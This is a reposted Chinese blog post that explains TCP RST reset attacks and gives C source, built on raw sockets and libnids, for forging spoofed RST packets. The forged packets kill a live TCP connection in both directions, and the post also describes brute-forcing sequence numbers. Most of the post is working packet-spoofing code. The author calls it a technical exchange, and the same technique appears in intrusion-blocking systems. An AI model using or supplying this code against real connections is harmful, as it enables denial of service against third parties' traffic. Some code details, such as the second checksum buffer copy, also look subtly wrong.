码迷,mamicode.com
首页 > 其他好文 > 详细

基于RAW_SOCKET的RST封堵包构造

时间:2015-01-04 15:16:11      阅读:1323      评论:0      收藏:0      [点我收藏+]

标签:

一,RST攻击:

      A和服务器B之间建立了TCP连接,此时C伪造了一个TCP包发给B,使B异常的断开了与A之间的TCP连接,就是RST攻击了。实际上从上面RST标志位的功能已经可以看出这种攻击如何达到效果了。 
     那么伪造什么样的TCP包可以达成目的呢?我们至顶向下的看。 
假定C伪装成A发过去的包,这个包如果是RST包的话,毫无疑问,B将会丢弃与A的缓冲区上所有数据,强制关掉连接。 
如果发过去的包是SYN包,那么,B会表示A已经发疯了(与OS的实现有关),正常连接时又来建新连接,B主动向A发个RST包,并在自己这端强制关掉连接。 
这两种方式都能够达到复位攻击的效果。似乎挺恐怖,然而关键是,如何能伪造成A发给B的包呢?这里有两个关键因素,源端口和序列号。 
一个TCP连接都是四元组,由源IP、源端口、目标IP、目标端口唯一确定一个连接。所以,如果C要伪造A发给B的包,要在上面提到的IP头和TCP头,把源IP、源端口、目标IP、目标端口都填对。这里B作为服务器,IP和端口是公开的,A是我们要下手的目标,IP当然知道,但A的源端口就不清楚了,因为这可能是A随机生成的。当然,如果能够对常见的OS如windows和linux找出生成source port规律的话,还是可以搞定的。 
       序列号问题是与滑动窗口对应的,伪造的TCP包里需要填序列号,如果序列号的值不在A之前向B发送时B的滑动窗口内,B是会主动丢弃的。所以我们要找到能落到当时的AB间滑动窗口的序列号。这个可以暴力解决,因为一个sequence长度是32位,取值范围0-4294967296,如果窗口大小像上图中我抓到的windows下的65535的话,只需要相除,就知道最多只需要发65537(4294967296/65535=65537)个包就能有一个序列号落到滑动窗口内。RST包是很小的,IP头+TCP头也才40字节,算算我们的带宽就知道这实在只需要几秒钟就能搞定。 
那么,序列号不是问题,源端口会麻烦点,如果各个操作系统不能完全随机的生成源端口,或者黑客们能通过其他方式获取到source port,RST攻击易如反掌,后果很严重。

      引用自:http://www.cnblogs.com/sybtjp/archive/2012/05/17/2506153.html

二,包构造原理:

 技术分享

构造IP(IPV4)

技术分享

构造TCP伪头:

//定义伪TCP首部
typedef struct
{
struct in_addr saddr; //源IP地址
struct in_addr daddr; //目的IP地址
char mbz; // mbz = must be zero, 用于填充对齐
char protocal; //8位协议号
unsigned short tcpl; // TCP包长度
}psdheader_t;

构造TCP:

技术分享

三,代码分析:

 1 #ifndef MAIL_KILL_H_INCLUDED
 2 #define MAIL_KILL_H_INCLUDED
 3 #include <stdio.h>
 4 #include <stdlib.h>
 5 #include <string.h>
 6 #include <arpa/inet.h>
 7 #include "nids.h"
 8 #include <errno.h>
 9 #include <unistd.h>
10 #include <netdb.h>
11 #include <sys/socket.h>
12 #include <sys/types.h>
13 #include <netinet/in.h>
14 #include <netinet/ip.h>
15 #include <linux/tcp.h>
16 //定义伪TCP首部
17 typedef struct
18 {
19  struct in_addr saddr; //源IP地址
20  struct in_addr daddr; //目的IP地址
21  char mbz;                   // mbz = must be zero, 用于填充对齐
22  char protocal;             //8位协议号
23  unsigned short tcpl;    // TCP包长度
24 }psdheader_t;
25 
26 unsigned short checksum(unsigned short *buffer, int size);//计算校验和
27 
28 int bird_kill(struct tcp_stream *tcp_connection);//构造并发送封堵包
29 #endif // MAIL_KILL_H_INCLUDED
  1 #include "headers/bird_kill_tcp.h"
  2 
  3 unsigned short checksum(unsigned short *buffer, int size)
  4 {
  5     unsigned long cksum = 0;
  6     while(size>1)
  7     {
  8         cksum += *buffer++;
  9         size -= sizeof(unsigned short);
 10     }
 11     if(size)
 12     {
 13         cksum += *(unsigned char*)buffer;
 14     }
 15     cksum = (cksum>>16) + (cksum&0xffff);
 16     cksum += (cksum>>16);
 17     return (unsigned short)(~cksum);
 18 }
 19 int bird_kill(struct tcp_stream *tcp_connection)
 20 {
 21     psdheader_t tcp_psdhead;
 22     int skfd_1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
 23     int skfd_2=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
 24     char *buf_client,*buf_server,*tcp_psd_buffer;
 25     setsockopt(skfd_1,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"));
 26     setsockopt(skfd_2,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"));
 27     int ip_len;
 28     int i =0;
 29     u_int16_t win = 32000;
 30 
 31     ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
 32     buf_client=malloc(ip_len);
 33     buf_server=malloc(ip_len);
 34     tcp_psd_buffer=malloc(ip_len);
 35     struct ip *ip_client=(struct ip *)buf_client;
 36     struct ip *ip_server=(struct ip *)buf_server;
 37     struct tcphdr *tcp_client=(struct tcphdr*)(buf_client+sizeof(struct ip));
 38     struct tcphdr *tcp_server=(struct tcphdr*)(buf_server+sizeof(struct ip));
 39     struct sockaddr_in target_1,target_2;
 40 
 41     bzero(&target_1,sizeof(struct sockaddr_in));//客户端
 42     bzero(&target_2,sizeof(struct sockaddr_in));//服务器端
 43     target_1.sin_family=AF_INET;
 44     target_1.sin_port=htons(tcp_connection->addr.source);//客户端端口
 45     target_1.sin_addr.s_addr=tcp_connection->addr.saddr;//客户端地址
 46     target_2.sin_family=AF_INET;
 47     target_2.sin_port=htons(tcp_connection->addr.dest);//服务器端口
 48     target_2.sin_addr.s_addr=tcp_connection->addr.daddr;//服务器地址
 49 
 50     /*****************客户端**********************/
 51     /*****************IP 头构造**********************/
 52     ip_client->ip_v = 4;
 53     ip_client->ip_hl = 5;
 54     ip_client->ip_tos = 0;
 55     ip_client->ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
 56     ip_client->ip_id=htons(12345);
 57     ip_client->ip_off=0;
 58     ip_client->ip_ttl=64;
 59     ip_client->ip_p=IPPROTO_TCP;
 60     ip_client->ip_sum=0;
 61     ip_client->ip_dst=target_2.sin_addr;//目的地址
 62     ip_client->ip_src=target_1.sin_addr;//源地址
 63     ip_client->ip_sum=checksum((unsigned short*)buf_client,sizeof(struct ip));
 64     /*****************伪头构造**********************/
 65     bzero(&tcp_psdhead,sizeof(tcp_psdhead));
 66     bzero(tcp_psd_buffer,ip_len);
 67     tcp_psdhead.mbz=0;
 68     tcp_psdhead.saddr=target_1.sin_addr;
 69     tcp_psdhead.daddr=target_2.sin_addr;
 70     tcp_psdhead.protocal=IPPROTO_TCP;
 71     tcp_psdhead.tcpl=htons(20);
 72     /*****************TCP头构造**********************/
 73     tcp_client->source = target_1.sin_port;
 74     tcp_client->dest = target_2.sin_port;
 75     tcp_client->seq =htonl(tcp_connection->client.seq + tcp_connection->server.window / 2);
 76     tcp_client->ack_seq=0;
 77     tcp_client->doff=5;
 78     tcp_client->window=htons(win);//htobe16(tcp_connection->server.window);
 79     tcp_client->rst= 1;
 80     tcp_client->fin=0;
 81     tcp_client->syn=0;
 82     tcp_client->urg=0;
 83     tcp_client->ack=0;
 84     tcp_client->psh=0;
 85     tcp_client->check = 0;
 86 
 87     printf("  #发给客户端的包\n");
 88     memcpy(tcp_psd_buffer,&tcp_psdhead,sizeof(tcp_psdhead));
 89     memcpy(tcp_psd_buffer+sizeof(tcp_psdhead),tcp_client,sizeof(struct tcphdr));
 90     tcp_client->check=checksum((unsigned short*)tcp_psd_buffer,sizeof(tcp_psdhead)+sizeof(struct tcphdr));
 91     sendto(skfd_2,buf_client,ip_len,0,(struct sockaddr *)&target_2,sizeof(struct sockaddr));
 92 
 93     /*****************服务器端**********************/
 94     /*****************IP 头构造**********************/
 95     //开始填充IP首部
 96     ip_server->ip_v = 4;
 97     ip_server->ip_hl = 5;
 98     ip_server->ip_tos = 0;
 99     ip_server->ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
100     ip_server->ip_id=htons(12345);
101     ip_server->ip_off=0;
102     ip_server->ip_ttl=64;
103     ip_server->ip_p=IPPROTO_TCP;
104     ip_server->ip_sum=0;
105     ip_server->ip_dst=target_1.sin_addr;//目的地址
106     ip_server->ip_src=target_2.sin_addr;//源地址
107     ip_server->ip_sum=checksum((unsigned short*)buf_server,sizeof(struct ip));
108     /*****************伪头构造**********************/
109     bzero(&tcp_psdhead,sizeof(tcp_psdhead));
110     bzero(tcp_psd_buffer,ip_len);
111     tcp_psdhead.mbz=0;
112     tcp_psdhead.saddr=target_2.sin_addr;
113     tcp_psdhead.daddr=target_1.sin_addr;
114     tcp_psdhead.protocal=IPPROTO_TCP;
115     tcp_psdhead.tcpl=20;
116     /*****************TCP头构造**********************/
117     tcp_server->source = target_2.sin_port;
118     tcp_server->dest = target_1.sin_port;
119     tcp_server->seq =htonl(tcp_connection->server.seq + tcp_connection->client.window / 2);
120     tcp_server->ack_seq=0;
121     tcp_server->doff=5;
122     tcp_server->window=htons(win);
123     tcp_server->rst= 1;
124     tcp_server->fin=0;
125     tcp_server->syn=0;
126     tcp_server->urg=0;
127     tcp_server->ack=0;
128     tcp_server->psh=0;
129     tcp_server->check = 0;
130     memcpy(tcp_psd_buffer,&tcp_psdhead,sizeof(tcp_psdhead));
131     memcpy(tcp_psd_buffer+sizeof(tcp_psdhead),&tcp_server,sizeof(struct tcphdr));
132     tcp_server->check=checksum((unsigned short*)tcp_psd_buffer,sizeof(tcp_psdhead)+sizeof(struct tcphdr));
133     /*****************发送包**********************/
134     sendto(skfd_2,buf_server,ip_len,0,(struct sockaddr *)&target_2,sizeof(struct sockaddr));
135     printf(" #发送给服务端的包\n");
136 
137     free(buf_client);
138     free(buf_server);
139     free(tcp_psd_buffer);
140     close(skfd_1);
141     close(skfd_2);
142     return 0;
143 }

四,PS:

 (1)为了增加成功率,发送双向RST包

 (2)本包的构造参考了libnids中nids_killtcp()函数,由于直接基于RAW_SOCKET发送,效率略高,但函数有待继续封装复用

 (3)构造包的过程中需要注意网络字节序的转换

 (4)构造封堵包最重要的是序列号的计算,算法可以适当调整

 (5)纯纯的技术交流

基于RAW_SOCKET的RST封堵包构造

标签:

原文地址:http://www.cnblogs.com/jinxiaopeng/p/4201030.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!